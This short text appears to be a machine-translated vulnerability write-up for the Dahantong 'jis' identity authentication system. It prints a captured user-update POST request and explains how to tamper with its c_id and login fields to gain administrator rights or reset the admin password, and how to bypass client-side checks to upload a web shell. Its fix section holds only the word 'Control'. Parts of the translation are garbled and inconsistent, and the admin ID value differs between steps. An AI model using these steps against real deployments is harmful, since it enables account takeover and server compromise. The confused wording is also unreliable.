Dahantong edition jis Uniform Identity Authentication System Vulnerability Packaging

The jis Uniform Identity Authentication System of Chinese pass edition: capture packets when the user modifies the information and find that POST: http: // 10.11.5.201: 9080/jis/front/upduser_do.jsp CONTENT: c_id = 00000 & vc_loginid = admin & vc_password = 123456 & vc_pwd = 123456 & vc_username = System Administrator & vc_headship = & vc_comptel = & region = & vc_mobile = & vc_email = & vc_qq = & vc_msn = & vc_hometel = & vc_usergroupid = & vc_usergroupname = the verified c_id is the permission control field, 00000 as the administrator, vc_loginid as the login name, vc_password and vc_pwd as the password, (1) User Privilege Escalation: capture packets when modifying personal information and change c_id to 0000, you can be promoted to the system administrator. (2) reset the administrator password to change c_id to 00000, and change the login name vc_loginid to the admin password to your own. (3) Arbitrary File Upload Vulnerability upload address: http: // url // jis/update. jsp removes the local js verification shell address: http: // 10.11.5.201: 9080/jis/update/data/uploaded file name
Solution:

Control